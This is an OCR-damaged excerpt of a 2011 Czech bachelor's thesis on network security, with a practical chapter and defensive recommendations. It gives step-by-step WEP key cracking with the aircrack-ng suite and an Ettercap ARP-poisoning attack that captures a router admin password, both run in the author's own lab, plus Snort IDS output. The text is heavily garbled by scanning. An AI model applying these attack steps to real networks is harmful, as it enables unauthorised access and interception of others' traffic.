Mezi mechanismy zabezpgici wifi sit¢ pati jiz zminované WEP,WPA,WPA/2, které
zabezpéuiji sit po strance fistupu ke zdrdim. Nasledujici praktickéast proto poukazuje

na rizika, ktera s sebouipasi zabezpeni s WEP kiiem.

Protoze $ praniku do IS nejsou vyuZzivany pouze externi entity,také zgsoby, které
jsou provadny z vnitni ¢asti IS, poukazuji, jakym Z#igobem je mozné ziskatigtup a
heslo k braa do internetu. Pomocfiznych utilit systém BacktTrack, Ubuntu a Windows
XP, kterym jsou ¥novany nasledujicfadky. Pomoci &hto systém a spolu s dalSim
hardwarovym zédzenim jsem sestrojil vlastni virtualnitsha niz jsem prakticky testoval

tyto vlastnosti a odolnost 8ipii pokusu o pinik.
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15 BACKTRACK

Pro praktickou ukazku zabezpai siti jsem zvolil linuxovou distribuci BackTrack’
http://cs.wikipedia.org/wiki/Firewall

2 http://cs.wikipedia.org/wiki/Referen%C4%8Dn%C3%ADodel_1ISO/OSI
[1.3] http://cs.wikipedia.org/wiki/TCP/IP
[1.4] http://www.ariadna.cz/

[1.5] ktery obsahuje stovky programro penetréni testovani sét

15.1 Hacking WEP Sifrovani*’

Naslednou ukazkou chci demonstrovat, jak e/gdle prolomit WEP k& na wi-fi
zaizenich hoja uzivanych \CR. Nedavno jsem nahodrskenoval okoli sét v msst
Opava a na listu zobrazenychigmjnych z#izeni nalezl mnoho wi-fi siti. Vzé&p jsem
zjistil, Ze jednactvrtina neobsahujetec Zadné zabezfEni, s mozZnostifpojit se na
access point. Druh&vrtina obsahovala WEP Sifrovaniieti skupina z vySe ziidvanych

byla zabezp&na pomoci WPA.

Naslednym pokusem demonstruji na linuxovéritisti BackTrack jak prolomit WEP

kli¢ béhem rékolika minut. Pro tentodel jsem si sestavil nasledujici virtualnd.si

Mac adresy komunikace na siti:

1. 00:23:54:4c:6f:79 => desktop pc windows xp/backtrac
a. IP 10.0.0.3 /windows wlan
b. IP 10.0.0.8 /backtrack wireless wlanO
c. Mask 255.255.255.0

" pokud nebude uvedeno jinak, tak vedkeré interéetdwoje budou uvédy ve tvard™*!
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d. DNS/gateway 10.0.0.138

2. 00:0e:9b:d3:ec:89 => notebook acer windows xp/ulount
a. IP 10.0.0.5 /ubuntu wireless
b. IP 10.0.0.7 /ubuntu ethO

IP 10.0.0.8 /windows wireless

IP 10.0.0.9 /windows ethernet

Maska 255.255.255.0

DNS/gateway 10.0.0.138 ethO

= o 2 o

3. 00:21:5d:56:01:82 => ap klient
a. I[P 10.0.0.10
b. Admin/1234
4. 00:14:78:79:76:dd => desktop pc windows xp /maralriv
a. IP 10.0.0.6 /windows wlan
b. Mask 10.0.0.138
c. DNS/gateway 10.0.0.138 ethO
5. 00:0e:2e:a1:79:82 => notebook gateway / backtrack
a. IP 10.0.0.2 /backtrack wlanO
b. Mask 255.0.0.0
c. DNS/gateway 10.0.0.138

DalSi zézeni v sitt HAUAWEI EchoLife HG520i, kteréfipsimulaci bude slouzit jako
piistupovy bod zabezpeny WEP kléem (64 bit), jenz se nasletipokusim prolomit.
Zatizeni vysila do okoli SSID, takze na¢ieci miZzeme spdit, Ze Fistup je zabezgeny
WEP klicem. Na tento fistupovy bod fipojim vSechna vySe uvedenatizeni krong
notebooku, na kterém mam nainstalovany BackTrack.s®rtu systému jsou peba

nésledujici fikazy:

Protoze systém se spousti pod uzivatelem j@dba zadat root jako user a toor jako

heslo defaultéia poté startx pro zobrazeni grafického rezimu.

> root / toor, startx



UTB ve Zling, Fakulta aplikované informatiky, 2011 59

0 je nutné pi startu systému a nastartovani grafického rozHart
» [etcl/init.d/networking start

o aktivuje stové rozhrani, ktera jsou v hardwat@&@mné
» [etcl/init.d/wicd start

o klient wicd ovlada jednotliva rozhrani wirelesstheznet

o tato utilita se da spustit také v GUI rozhrani poimmabidky Internet / Wicd

Network Manager
» iwconfig

0 zobrazi dostupna Haeni a jejich nazev ifpad, Ze chceme zjistit
hardwarovou stranku #iaeni chipset atp., ideme pouzit Ishw pro ukazku

veSkerého dostupného hardware
» airmon-ng

o prikaz ukéze dostupna rozhrani jejich konfiguracpsht driver, je vhodny,

pokud chceme zkontrolovat stavy
» airmon-ng stop wlan0
0 vypne rozhrani wlanO
» airmon-ng start wlanO
o aktivuje vybrané gbvé rozhrani do monitorovaciho rezimu
0 monitorovaci reZzim se zobrazi jako mon0O
» airodump-ng wlanl

0 zobrazi dostupna #iaeni (Channel, BSSID, ESSID a dalsi)

Zde nasledujici zdrojovy kéd fikazoveé fadky ukazuje vySe uvedené v praxi.
Predlozim dikaz, Zze toto zabezpeni je opravdu nevohodné, a naslednjej mize
kdokoliv v naSem okoli prolomit, dostat se tak @annprovozovanou sgia odposlechnout

soukroma penasena data.
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Hiklad za&inam na vySe uvedeném adresnim planu, noteboo&r)Apoustim jako
uzivatel windows a naslednsimuluji praci. DalSi desktop pc (1.) jako windowsle
simuluji praci zamstnance se zapnutym videem. Desktop pc (4.) spoutiké ve
windows a simuluji praci pouze ve foénspuséného online programu na vysilani zprav

Z internetu. Jako posledni spoustim notebook Gatewssledujici sekvenciikazi:

root@bt:~# airmon-ng
Interface Chipset Driver

wlan0 Intel 4965/5xxx iwlagn - [phy0]

root@bt:~# airmon-ng stop wlan0

Interface Chipset Driver

wlan0 Intel 4965/5xxx iwlagn - [phy0]
(monitor mode dileat)

root@bt:~# airmon-ng start wlanO
Interface Chipset Driver
wlan0 Intel 4965/5xxx iwlagn - [phyOQ]

(monitor mode erebbn mon0)

root@bt:~# airodump-ng wlan0
[CH 2 ][ Elapsed: 44 s ][ 2011-04-30 15:36]

BSSID PWR Beacons #Data, 8H MB ENC CIPHER AUTH ESSID
00:21:63:9B:47:A8 -55 86 442 6 1le WEP WEP hey hi hello!
00:21:63:9B:47:A9 -55 88 0O 0 6 11le WEP WEP VOIP
00:4F:62:0C:C5:58 -72 126 9 0 311 OPN czFreeXXX
00:4F:62:0C:9A:10 -69 111 5D 1111 OPN CzFreeXXX
BSSID STATION PWR Rate Lost Packets Probes

00:21:63:9B:47:A8 00:0E:2E:A1:79:82 -9 0-1 1 22 hey hihello!
00:21:63:9B:47:A8 00:0E:9B:D3:EC:89 -2411-11 46 439 hey hi hello!
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00:21:63:9B:47:A8 00:23:54:4C:6F:79  -2811-11 12 22
00:21:63:9B:47:A8 00:14:78:79:76:DD  -5611e-11e 27 58  hey hi hello!
00:4F:62:0C:9A:10 00:02:72:65:9F:39 -111-0 O 18

» CH- channel (kanal)

BSSID-mac adresa access pointu, klientsist
Beacons-oznamovaci pakety vysila ap

#Data-pd@et zachycenych pakiet

#s-pdet paket za poslednich 10s

PWR - sila signalu

MB - maximalni rychlost access pointu (11=802.11b)
ENC - Sifrovaci algoritmus

CIPHER - dekuje Sifrovaci mechanismus

AUTH - autentiz&ni protokol

ESSID - nazev sit

STATION - stanice fipojena k danému access pointu
Lost - pakety ztracen&bem 10s

Packet - ptet pakel zaslanych klientem

vV ¥V Vv Vv VYV ¥V ¥V ¥V ¥V VY VY V V V

Probes — egid, ke kterému je klietitpojen

root@bt:~# airodump-ng -w wepcrack -c 6 --bssid2Q@B3:9B:47:A8 wlan0

[CH 6 ][ Elapsed: 24 s ][ 2011-04-30 15:54]

BSSID PWR RXQ Beacons #Data, #/8 B ENC CIPHER AUTH ESSID
00:21:63:9B:47:A8 -68100 229 3058 18211e WEP WEP OPN hey hi hello!

BSSID STATION RV Rate Lost Packets Probes
00:21:63:9B:47:A8 00:23:54:4C:6F:79 -21 -1 O 246
00:21:63:9B:47:A8 00:0E:9B:D3:EC:89 -20 11-1 0 2971
00:21:63:9B:47:A8 00:14:78:79:76:DD -76 e}11l 13 280
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» W /write - zapi$

» wepcrack - ndzev souboru
» -C 6 - kanakislo

» --bssid [mac] - rozhrani

root@bt:~# aireplay-ng -3 -b 00:21:63:9B:47:A8 wWan

No source MAC (-h) specified. Using the device MAID:21:5D:56:01:82)

15:37:40 Waiting for beacon frame (BSSID: 00:219&347:A8) on channel 6

Saving ARP requests in replay_arp-0430-153740.cap

You should also start airodump-ng to capture replie

Cad 196506 packets (got 32 ARP requests and 0 AGKR) 309729 packets...(500 pps)

» -3 -volba pro arp request utok
» -b - bessid mac adresa access pointu

> wlan0 - rozhrani

Nasledujici Aircrack-ng je WEP a WPA/2 crackprogram.
root@bt:~# aircrack-ng wepcrack-01.cap
Opening wepcrack-01.cap
Read 201926 packets
# BSSID ESSID Encryption
1 00:21:63:9B:47:A8 hey hi hello! WEP (93078 IVs)
Choosing first network as target
Opening wepcrack-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 93147 ivs.
Aircrack-ng 1.1 r1738
[00:00:09] Testedl7081 keys (got 174 IVs)
KB depth byte (vote)
0 6/7 96( 768) 01( 512) 04( 512) B62) 27( 512) 28( 512) 35(512) 46( 512)
1 35/36 67(512) 07(256) 08( 256) P9G) OA( 256) 0B( 256) 0C( 256) 0D( 256)
2 8/23 FD( 768) 00( 512) 10( 512) BRQ) 25(512) 28( 512) 45(512) 4C(512)
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3 34/ 3 E5(512) 00( 256) 03( 256) @66) OF( 256) 11( 256) 13( 256) 18( 256)
4 12/ 4  F6(768) 0A(512) 2B( 512) 33Q) 3C( 512) 53( 512) 5F( 512) 64( 512)

KEY FOUND! [ 37:33:39:35:32 ] §CII: 73952 )
Decrypted correctly: 100%

» KB - klicovy byte (keybyte)
» depth - hloubka s@asného ktiového prohledavani

» byte - p@et IVs, které unikly

Je ¥ejmé, Ze pokus se povedl. | pouhych asi deset piliem nichz jsem odchytaval
pakety i na tak malém segmentu, jako je vySe usedénmize byt pro malé domacnosti,

¢asto sidla firem, velice nebezjech.

Jako nasledujici pokus o fumlosti operaniho systému BackTrack ukazu snifovani na
siti pomoci programu Ettercap. Tento pokus budwkiwat na zadratované siti pouze
s pouzitim dvou p#taci. Pro tento pokus to pirpost&uje a neniieba utovat dalSi uzly

v siti, funkénost bude demonstrovana.

Ettercap Ize spustit véeth reZimech, a to textovy rezim, dos rezim, gkafieezim.
Program podporuje sniffing hesel na siti, Ize jepit pro zadratované i pro bezdratové
site, prepina wi-fi / ethernetovou kartu do promiskuitniedimu. Ettercap umakje man-

in-the-middle atoky.

Nasledujici pklad ukazuje jak odsnifovat heslo gateway / branyasleda ziskat

informace, kdo je natshapojeny atp.

Spustnim Ettercap -G spustim program v grafickém reziMasledd mohu skenovat
rozsah sit pomoci nabidky hosts (scan for hosts) a tu paki¢tivzdo tzv. target, kde
umistim gateway do jednoho, ostatni do druhéhgetaNasledé pomoci nabidky Mtm
spustim arp poisioning a v dalSi nabidce sniff rénoonnection. A jako posledni start

sniffing.
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Konfigurace rozhrani gdace se spughym Ettercap je nasledujici rozhrani ethO:
» |P 10.0.0.12

» Maska 255.255.255.0

» DNS /gateway 10.0.0.138

Konfigurace rozhrani paace, kde mam spudty Windows, je nasledujici rozhrani
ethO:

> IP 10.0.0.11
> Maska 255.255.255.0

» DNS / gateway 10.0.0.138

Nasleda spoustim v Ettercapu z nabidky pulgins managepihgins gw_discover,

¢imz se mohuieswdcit, zda jde opravdu v tomtaipace 10.0.0.138 o branu do internetu.

Zadam si IP adresu serveru, kde jsou provozovamy gartem 80 webové sluzby, a

nasledny vystup ukazuje, Ze se opravdu jedna aubran

Remote target is 77.75.76.3:80...

Sending the SYN packet to 10.0.0.11 [00:0AFE490:D0]
Sending the SYN packet to 10.0.0.12 [00:ECHBBDA4:F3]
Sending the SYN packet to 10.0.0.138  [00:5@3f50:4D]
[00:50:7F:09:50:4D] 10.0.0.138 is probably a gatgvea the LAN

Tel’ uz jen zbyva pékat si, zda se nas spravce gitihlasi na z#izeni 10.0.0.138 a
zada heslo. Nasledny étuk pak ziska fistup ke zdrajm, s moznosti dostat se k dalSim

informacim.

Vysledek jsem urychlil a nasletjsem zadal do prohlize ristup pro router Vigor

2500 we. Jeho vystup ukazuje tento vypis z prograttercap.

ARP poisoning victims:

GROUP 1:10.0.0.138 00:50:7F:09:50:4D
GROUP 2 :10.0.0.11 00:0A:E4:FE:90:D0O
Starting Unified sniffing...

Activating chk_poison plugin...
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chk_poison: Checking poisoning status...

chk_poison: Poisoning process succesful!

Activating repoison_arp plugin...

HTTP : 10.0.0.138:80 -> USER: admin PASS: 7891KR80: 10.0.0.138/

HTTP : 10.0.0.138:80 -> USER: admin PASS: 7891KXB0O: 10.0.0.138/doc/empty.htm
HTTP : 10.0.0.138:80 -> USER: admin PASS: 7891R80: 10.0.0.138/bground.htm

Tento piklad demonstruje Gtok zevhit. Chovani klienta na siti, jinak povazovaného
za divéryhodného, mize byt takovém fipadt nebezpené. Jak vyplyva z vySe uvedeného
piikladu, klient si niZze zjistit informace o siti a vz&jp ziskavat pro sebeitkzitd data,

shromad’ovat informace nejen o #Haenich, ale také o ostatnich klientech.
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16 SNORT

Snort® je open source network intrusion detection anceafiEmn systém, vyvijeny
skupinou sourcefire. Snort" Reference source notiound- smbinuje vyhody signatur, protokol
a abnormalnich aktivit na siti. Signatury vyuzivaéntifikaci typu uskut&néného atoku,
na rozdil od IDS postaveného na signaturach prqovkiany probiha, neéprusuje. Mize
pracovat na vice opemich systémech. Jedna se o neji@xrsjSi prostedek (IDS) na

swté pro detekce abnormalnich aktivit na siti s vice 3@0 tisici registrovanymi uZivateli.

Systém detekce Snort je nutni@dg pouzitim instalovat. Jako hardware jsem zvolil
notebook acer, ktery je jiZtipojen na hackovanoutsia nasled& zaznamenava aktivity
jednotlivych zdizeni. Linuxova distribuce Ubuntu jiz obsahuje $nee svém jatk a

pomoci nasledujiciharikazu jej vypise:

» sudo apt-cache search snort

Po nasledném definovani rozsahd sitizeme spustit rezim (mod), ve kterém chceme
Snort spustit. NasledrmiZzeme pozorovat vystupy a provoz, jaky na siti gré@birimto
piikladem bych cld upozornit na to, jaka vlastnSnort generuje data, kdyZz zadavame

I L

razné ikazy z gikazovéradky systému BackTrack a Windows XP.

Systém Snort budu demonstrovat s pouzitim Ha¢adého z&zeni jakozto klienta a
dvou klienfi. Na jednom budu uZzivat Linux Backtrack, na drun&imdows XP a pouZiji
uz vySe zmidny rozsah sé Systém Snort spustim v sniffer rezimu. Pro tepttklad by
meél byt dost&ujici v systému BackTrack, spustim Nmap aiikgzové fadky budu
skenovat rozsah sjt na kterou jsem jako klientfipojen. Timto chovanim bych &h

dosahnout toho, Ze Snort zachytava generovanyeguesty a nasledrzobrazi vypis. Ten

'8 Dalsi souhrnné informace o systému Snort, zdroj@dd navody signatury a nastaveni je mozné dohleda

na domovské adrese. Systém Snort je jednim z nme§gsigh systérm na ochranu siti.
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ukazuje, jakym zfisobem Snort zobrazuje sva data pro administrattireksery by se rél

v takto generovanych datech orientovat.
Snort je nutné spustit jak root nasledujicittkgpzem: sudo -i
Vypis snort:

root@luke-Aspire3020:~# snort —ve (v, ved, ve)

Running in packet dump mode

--== Initializing Snort ==--
Initializing Output Plugins!
-
*** interface device lookup found: ethO (zde je melvano rozhrani,ies které bude
komunikovat v tomto fipact ethernetO, nadmz mam pipojeny access point nastaveny

jako klienta gipojeného na router)

*k%k

Initializing Network Interface ethO

Decoding Ethernet on interface ethO

--== Initialization Complete ==--

. -*>Snort! 0" )~ Version 2.8.5.2yiRl 121)
By Martin Roesch & The Snort Team: hifygww.snort.org/snort/snort-team
Copyright (C) 1998-2009 Sourcefire, Jrat.al.
Using PCRE version: 8.02 2010-03-19

Not Using PCAP_FRAMES

Nasledujici vypis ukazuje komunikaci, ktera pravobiha:
=+=4=4=4=4+=4+=4+=4+=+=4+=4=4=4+=4=4+=+=+=4+=4+=4+=4=4+=4=4+=H=4=4+=4+=4+=4+=+
05/01-09:21:19.179659 10.0.0.3:138 -> 10.0.0.25%:13

UDP TTL:128 TOS:0x0 ID:11904 IpLen:20 DgmLen:226

Len: 198
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M¢ésic / dencas / milisekundy zdroj IP:zdrojovy port -> Broadcasilovy port
UDP / User Datagram Protocol

TTL/ Time to live

TOS oddlovani kvality sluzby

ID:11904 / identifik&ni ¢islo

IpLen: délka z&hlavi 20B

DgmLen:226 / celkova délka datagramu

YV V Vv VvV VYV VY VY V

Len: 198 / celkova délka Iasti diagramu

R R e e e = = R R R e R e R e
05/01-09:21:20.179569 10.0.0.3:138 -> 10.0.0.25%:13

UDP TTL:128 TOS:0x0 ID:11905 IpLen:20 DgmLen:229

Len: 201

=4=4=4+=4=4+=4+=4+=+=4+=4+=4+=4+=4+=4+=+=4+=4+=+=4+=4+=+=4+=4+=+=H=+=4+=4+=4+=4=+

Na systému BackTrack spesprogram Nmap sifkazem na skenovani moznych IP
adres z daného rozsahu. Které IP jsou aktivnithdsimohu povazovat za inicializai

pokus o zji&ni za&izeni, takzvany siv informaci.

Nasledujici kod zobrazuje, jak reaguje / maaie Snort naitkaz spugmny

Z programu Nmap.

Casovy otisk / ARP request / kdo mé / IP / (Broatikbsdevzdej vysledek IP

05/01-09:21:25.636244 ARP who-has 10.0.0.1 (FF:FFFF.FF:FF) tell 10.0.0.2
05/01-09:21:25.639493 ARP who-has 10.0.0.2 (FF:FFF.FF:FF) tell 10.0.0.2
05/01-09:21:25.640315 ARP who-has 10.0.0.3 (FF:FFEF.FF:FF) tell 10.0.0.2
05/01-09:21:25.736575 ARP who-has 10.0.0.4 (FF:FFF.FF:FF) tell 10.0.0.2

05/01-09:21:25.739155 ARP who-has 10.0.0.255 (FFFFF:FF:FF) tell 10.0.0.2



UTB ve Zling, Fakulta aplikované informatiky, 2011 69

Na konci vypisu v programu NmdpmiZeme vidt, kolik zafizeni je aktivnich a
napgiklad také, které porty jsou na nich sga§t Pro sniffing a ziskani informaci nami
spravované sitlze také vyuzit program Wireshark. Je také vyuizigpravci siti po
piepnuti karty do promiskuitniho rezimu, lze jim ogdvat data prochazejici v dosahu

anteny.

¥ Nmap je velice kvalitni utilita na zkoumani sitiiefich vlastnosti. Pracuje rychle a kvatifjeji nastavba se

nazyva Zmap, sifiemnym grafickym rozhranim. Zdr&:S]
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VLASTNI PROJEKT

Pro komplexni sovéteSeni se nabizi hnedkolik kvalitnich produkdi ze sféry siové
infrastruktury jak pro monitoring, tak pro peneématestovani, které jiz byly zminy diive

v této praci.

Mezi vlastni navrh sbvé infrastruktury z&enim néasledujici prvky, pro wi-fi gia
zvySenou bezgmost ji genasenych informaci zvolim Sifrovani WPA/2. Dalgistan
spravu erudovanou osobou z oblasti siti, a tasapem, jako je neustaly monitoring,

nasazeni IDS aplikaci s prvky nasledného varovanoibném utoku na i

Hipadné penetiai testovani s distribuci BackTrack obsahuje mndizaych utilit na
pokusy o prolomeni bez{eosti mnou konstruované &itNasledna kontrola musi probihat
jinou osobou nez spravcemésiprotoze spravce nemusi ¥icchyby, které uz &kolikrat
piehlédl. Je nutny brainstorming a konzultacéet tstranou. V fipadt spravy ¥tSich
celki zajistit vzdalenou komunikaci pomoci vhodného waft. Jelikoz sé jsou dnes
vyuzivané v maximalni kapagit jejich obliba stale roste netiitelnym tempem, jeieba
brat v Gvahu i malé it které se stavi pouze pro omezenggicklienti a nejsou nijak
zabezpeéeny. Proto tato komunikace, ktera probihd mezi bezagenym gistupovym

bodem, je velice nebezf&, da se odposlouchavat a data nasgledeuzit.

Nabizim gkolik arovni zabezpeeni firewall, monitorovaci systém spolu s hlaseonim
mozném pokusu naruSeniésiBoftwarové zézeni pro koncové klienty musi byt aktualni a
databaze moznych virtaké. Je Zadouci nepovolovat uzivatelmanipulaci a jakoukoliv
konfiguraci sfovych prvki. Pokud tyto z&kladni 3vé elementy dam dohromady, do

prazdné mnoziny, ziskam komplexe8eni pro zabezpeni siti.
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ZAVER

BEchem mé studie slozitosti teivych systém a jejich moZzZnosti jsem narazil na
mnoZstvi materidl, které se zabyvaji touto problematikou. Vhodnostlkteré moznosti
feSeni jsem shrnul w@dchazejici kapitole ,Vlastni projekt”, ktery poukge na podstatu
zabezpé&eni bezdratovych siti. Existuji také zadratovanénpexrejsSi si€, u nichz
doporiuji neustalé Sifrovani ipnasenych informaci a uzivani digitalnich podlpiso
ovéreni pravosti obsahu a podobné kryptografické mashan

s

Negretrzity monitoring pat k nedilezit¢jSim sodastem giové infrastruktury, a proto je
nutné ¥dét v redlnémcase, co se na sitéjg. DalSi z dleZitych elemeni je firewall, ktery
negetrzit hlida povoleny a nepovoleny provoz. Nabizi se me#inredundantniho
zapojeni, takzeip poruSe je jeden ze segmeérgit okamzi€ nahrazen jinym. Je nutné
védét, co chceme na siti chranit.¢ldné ochranné prvky musime umistit ddedu
pomysinych obrannych linii. Do p#gdi pak prvky, které spolehlivym @gpobem
zalarmuji, upozorni na mozné utoky, takZze spravicé muze provést odpovidajici

protiopateni.

Je na &m, aby aktivié vyhodnotil hrozby, které mohou &gobit vypadky systému, a
tim nemalé finaéni ztraty nebo zneuziti dat dostupnych pomodi. dtodcenit nelze
rovnez vhodné zfisoby dokumentace ohrozeni dippavu na mozné napadeni ésit
s uplatgnim €ch nejlepSich a nejosdc¢ensjSich metod. Opodstatnost takového ifistup
potvrzuji i moje osobni zkuSenosti. Uzitim prevenich mechanisi s naslednymi
pokusy o simulaci utoku vykoname vSe fgbhé pro to, abychom si odzkouSeli vySe

nabizen&eSeni.

VSechny konfigurai kroky kazdého spravce &ihusi snifovat k co nejdokonalejSimu
zabezpeéeni inform&nich zdroji. ProtoZze nejefektiwjSi zpisob jak zabezpgé zdroje,

data a soukromé informace tim nejlepSimisgibem je chranit je.
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CONCLUSIONS

When studying the complexity of network systemmd their capabilities, | came across
a lot of materials dealing in this issue. | havenmed up the suitability and some of the
potential solutions in the previous chapter “My opmoject” referring to the principle of
wireless network protection. There are also moraprehensive wired networks for which
| recommend continuous encryption of the transmhittata and using digital signatures to

authenticate the contents and similar cryptograptechanisms.

Continuous monitoring ranks among the most ortgnt network infrastructure
components and that is why it is necessary to kabat is happening on the network.
Firewall is another important element that keeps ey® out for authorized and
unauthorized traffic. Contingent redundant conmedi are offered so that one of the
network segments can be replaced straight awayamitither when there is a failure. It is
necessary to know what we want to protect on thsvaor&. The efficient protective
elements must be placed in the middle of imaginemys of defence. First of all, the
elements that alert reliably, warn of possiblecsaso that the network administrator can

take adequate counteraction.

It is up to him to actively evaluate the thsethat may result in system failures and
consequently significant financial losses or abo$ethe data available via network.
Suitable ways documenting the threat and prepar&tioa potential attack on the network
with application of the best and well-tried methadsmnot be underestimated either. The
eligibility of such an approach is also substartlaby my personal experience. By using
the preventive mechanisms with subsequent atteatgisnulation of the attack, we will do

the necessary steps to try out the solution offatexle.

All configuration steps of every administraioust be aimed at the most perfect security
of information resources. The most efficient methmiv to secure resources, data and

confidential information is their protection.
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SEZNAM POUZITYCH SYMBOL U A ZKRATEK

ACK

Ad-hoc

AP

BSA

BSS

CIDR

CN

CSMA/CA

CSMA/CD

CTS

DCCP

DFC

DHCP

DIFS

DNS

ESS

FDDI

FTP

GUI

HIDS

HTML

HTTP/S

ICMP/V6

IDS

Acknowledge

Zpisob zapojeni sit

Access point

Basic Service Area

Basic Service Set

Classless Inter-Domain Routing
Computer Network

Carrier Sense Multiple Access with CollisiAvoidance
Carrier Sense Multiple Access with CothisiDetection
Clear to Send

Datagram Congestion Control Protocol
Distributed Coordination Function
Dynamic Host Configuration Protocol)
Distributed Inter-Frame Space

Domain Name System

Extended Service Set

Fiber Distributed Data Interface

File Transfer Protocol

Graphical User Interface

Host-based Intrusion Detection System
HyperText Markup Language

Hypertext Transfer Protocol Secure
Internet Control Message Protocol verston

Intrusion Detection System
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IEEE Institute of Electrical and Electronics Enggins

IGMP Internet Group Management Protokol

IMAP Internet Message Access Protocol

IP /v4lv6 Internet Protocol version4 / 6

IPsec Internet Protocol Security

IPX/SPX Internetwork Packet Exchange/SequencelleR&xchange

IRC Internet Relay Chat

IrDA Infrared Data Association

ISO/OSI International Organization for Standartd@a/Open Systems Interconnection
model

ISP Internet Service Provider

IT Information Technology

LAN Local Area Network

LDAP Lightweight Directory Access Protocol

MAN Metropolitan Area Network

MGCP Media Gateway Control Protocol

NAT Network Address Translatir

NAV Net Asset \alue

NIDS Network Intrusion Detection Systt

NNTP Network News Transfer Protoc

NTP Network Time Protoct

(OR) Operating System

PAN Personal Area Network

PC Personal Computer

PCF Point Coordination Function
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PDA

PoE

POP/3

RIP

RPC

RTP

RTS

SCTP

SIP

SMTP

SNMP

SOCKS

SSH

TCP

UDP

UTP

VLSM

VPN

WAN

WEP

WIFI

WLAN

WPA/2

Personal Digital Assistant

Power over Ethernet

Post Office Protocol vision 3

Routing Information Protocol

Remote Procedure Call

Real-time Transport Protocol

Request to Send

Stream Control Transmission Protocol
Session Initiation Protocol

Simple Mail Transfer Protocol

Simple Network Management Protocol

is a network protocol designed to allowntBeto communicate with Internet

servers through firewalls
Secure Shell

Transmission Control Protocol
User Datagram Protocol
Unshielded Twisted Pair
Variable-length Subnet Mask
Virtual Private Network
Wide Area Network

Wired Equivalent Privacy
Wireless Fidelity

Wireless Local Area Network

Wi-Fi Protected Access
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SEZNAM OBRAZK U

[1.1.2]NetScanTools
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SEZNAM TABULEK

[1.1.3] ISO / OSI model

[1.1.4] Model TCP/IP a protokoly
[1.1.5] Rozsahy adres

[1.1.6] Vztah ISO/OSI modelu a firewallu






